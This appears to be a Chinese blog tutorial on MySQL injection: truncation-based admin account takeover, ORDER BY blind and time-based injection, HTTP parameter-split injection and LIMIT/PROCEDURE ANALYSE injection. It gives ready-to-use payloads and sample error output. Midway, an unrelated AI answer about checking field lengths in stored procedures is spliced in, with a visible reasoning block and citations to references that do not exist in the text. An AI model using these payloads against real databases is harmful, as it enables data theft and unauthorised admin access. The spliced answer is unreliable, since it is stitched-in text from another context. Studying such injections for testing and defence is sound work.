mysql注入之长字符截断、orderby注入、HTTP分割注入、limit注入

长字符截断/SQL约束攻击

  • 产生原因:在mysql中的一个设置里有一个sql_mode选项,当sql_mode设置为default时,即没有开启STRICT_ALL_TABLES选项时(MySQL默认 sql_mode为default),MySQL对插入超长的值只会提示warning,而不是error,这样就会导致一些截断问题。 

例如

  • 一个表的username字段类型为varchar(7) 长度最多7个字符。那么我们插入的时候将字符提高到8字符以上,它只取前7位,并且会弹出warning。

利用漏洞:

  • 假设管理员的登录名为admin,那么我们可以注册一个“admin        ”后面有八个空格用户即可轻易进入后台管理界面。


order by rand(True)   /order by rand(False)盲注

  • 产生原因:原语句类似为$id=$_GET['sort'];     select * from users order by $id ;

  • 利用漏洞:

    • 报错注入?sort=1 and updatexml(1,if(1=1,concat(0x7e,version()),2),1)
    • 盲注 order by rand(True)和order by rand(False)的结果排序是不同的,可以根据这个不同来进行盲注。
  • 例如:
    • 布尔盲注:?sort= rand(database()='ujcms')             
      • 返回了True的排序,说明database()='ujcms'是正确的值

  • 时间盲注 ?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
    • 执行结果睡眠2秒


 HTTP分割注入

场景:参数为username&password,查询语句为  select xxx from xxx where username='xxx' and password ='xxx';但是username参数过滤了注释符,无法将后面的注释掉,则可尝试用内联注释把password注释掉,凑成一条新语句后注释或闭合掉后面的语句:

当然这种注入的前提是单引号没有被过滤

  • payload:username=1' or extractvalue /*'&password=1*/ (1,concat(0x7e,(select database()),0x7e))) or'

  • 则查询语句为select * from users where username='1' or extractvalue /*' and password='1*/ (1,concat(0x7e,(select database()),0x7e)) or'';

过滤了空格,union,#,—+,/*,^,or,|

  • 可以考虑将password作为函数的参数来闭合语句:

  • payload:username=admin' and(strcmp(&password=,'asdasdasdasdasdasd')) and '1

  • 则查询语句为select * from users where username='admin' and(strcmp(' and password=','asdasdasdasdasdasd')) and '1';
    • strcmp比较,二者不一致返回True,一致返回False,而MySQL会将’1’判断为数字1,即True,因此该查询语句结果为True


limit注入

一般实际过程中使用 limit 时,大概有两种情况,一种使用order by,一种就是不使用 order by关键字

不存在 order by 关键字

  • 执行语句 select id from users limit 0,1; 

  • 这种情况下的 limit 后面可以使用union进行联合查询注入

  • 执行语句 select id from users limit 0,1 union select username from users;

 

存在 order by 关键字

  • 此方法适用于5.0.0< MySQL <5.6.6版本,在limit语句后面的注入

  • limit 关键字后面还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,因此利用比较难,因此这里以PROCEDURE为例进行注入

  • 使用 PROCEDURE函数进行注入,ANALYSE支持两个参数,首先尝试一下默认两个参数

mysql> select id from users order by id desc limit 0,1 procedure analyse(1,1);

ERROR 1386 (HY000): Can't use ORDER clause with this procedure

  • 报错,尝试一下对其中一个参数进行注入,这里首先尝试报错注入

mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

  • 不存在回显怎么办,延迟注入呀,如果 select version(); 第一个为5,则多次执行sha(1)达到延迟效果,这里不支持使用 sleep,所以需要使用BENCHMARK进行替代 

mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1)))),1);
ERROR 1105 (HY000): XPATH syntax error: ':0'

<think>好的,用户的问题是关于如何在MySQL存储过程中定义或检查字段长度。首先,我需要回忆一下存储过程的基本结构和相关语法。存储过程允许封装SQL语句,但字段的定义通常是在表结构中,而不是在存储过程中直接定义。不过用户可能想知道如何在存储过程中处理字段长度的限制,比如在插入数据前验证长度是否符合要求。 接下来,我需要考虑如何检查字段长度。在存储过程中,可以使用LENGTH()或CHAR_LENGTH()函数来获取字符串的长度,然后与字段定义的最大长度进行比较。例如,如果字段是VARCHAR(50),那么在插入前检查输入字符串的长度是否超过50,超过的话可以抛出错误或截断。 然后,关于定义字段长度,这通常在创建或修改表结构时完成,而不是在存储过程中。存储过程本身不定义字段,但可以在其中执行ALTER TABLE语句来修改字段长度。不过用户可能需要了解如何在存储过程中动态获取字段的长度限制,比如通过查询information_schema数据库中的COLUMNS表,获取特定字段的CHARACTER_MAXIMUM_LENGTH属性。 还需要考虑用户提供的引用内容。引用[1]提到超出范围的数字会被截断,而字符串可能被截断或导致错误。引用[3]提到了各类型字段的最大宽度,比如VARCHAR的最大长度是65535字节,但实际可用长度受行大小限制。这可能涉及到存储过程中如何处理超过长度的情况,比如截断或报错。 用户可能的应用场景包括数据校验、动态生成SQL语句,或者在数据处理时确保符合字段长度限制。需要给出具体的步骤,例如使用DECLARE定义变量,使用IF语句进行条件判断,使用SIGNAL语句抛出错误,或者使用SUBSTRING截断字符串。 另外,需要注意存储过程中处理字符串长度时,字符集的影响,比如UTF-8字符可能占用多个字节,所以LENGTH()返回字节数,而CHAR_LENGTH()返回字符数。如果字段是VARCHAR(50) CHARSET utf8,那么实际字节限制是150(每个字符最多3字节),但定义时VARCHAR(50)指的是50个字符,实际存储占用根据字符不同而变化。这可能影响如何正确判断长度是否超出限制。 可能还需要示例代码来演示如何在存储过程中实现这些检查。例如,在插入前检查输入值的长度,如果超过则截断或报错。同时,如何从information_schema中查询字段的最大长度,以便动态获取限制值,而不是硬编码在存储过程中。 总结一下,回答需要分两部分:定义字段长度和检查字段长度。定义通常在表结构,检查可以在存储过程中使用函数和条件判断。需要引用提供的参考资料中的内容,比如自动截断或修改为0的情况,以及字段类型的最大宽度限制。</think>在MySQL存储过程中,定义和检查字段长度需要结合表结构设计、数据类型选择和过程控制逻辑。以下是具体实现方法: ### 一、字段长度定义规范 1. **表结构定义阶段** 字段长度在创建表时通过数据类型声明: ```sql CREATE TABLE users ( username VARCHAR(50) -- 定义最大字符长度 ); ``` VARCHAR类型最大支持$65535$字节(实际可用$65532$字节),但受行大小限制[^3] 2. **动态获取字段长度** 通过查询`information_schema`获取元数据: ```sql SELECT COLUMN_NAME, CHARACTER_MAXIMUM_LENGTH FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'your_db' AND TABLE_NAME = 'your_table'; ``` ### 二、存储过程中的长度检查 1. **插入前验证** ```sql DELIMITER $$ CREATE PROCEDURE validate_input(IN input_val VARCHAR(255)) BEGIN IF CHAR_LENGTH(input_val) > 50 THEN SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = '输入值超过字段最大长度'; END IF; -- 截断处理示例 SET @safe_val = SUBSTRING(input_val, 1, 50); INSERT INTO users(username) VALUES(@safe_val); END$$ DELIMITER ; ``` 2. **自动截断机制** 当插入值超过定义长度时,MySQL会根据字段类型自动处理: - VARCHAR类型:截断超出部分并生成警告 - 数值类型:存储为最接近的边界值[^1] ### 三、特殊场景处理 1. **日期+流水号生成** 结合日期和序列号的组合字段时,需计算总长度: ```sql SELECT CONCAT( DATE_FORMAT(NOW(), '%Y%m%d'), LPAD( IFNULL( (SELECT SUBSTRING(orderNo,9) FROM orders WHERE SUBSTRING(orderNo,1,8)=DATE_FORMAT(NOW(),'%Y%m%d') ORDER BY id DESC LIMIT 1), 0 ) + 1, 6, '0' ) ) AS newOrderNo; ``` 此方法确保总长度=8位日期+6位序列=14字符[^2] 2. **二进制字段处理** BLOB/VARBINARY类型的长度限制: ```sql CREATE TABLE files ( file_data VARBINARY(65532) -- 接近最大行大小限制 ); ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thunderclap_

点赞、关注加收藏~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值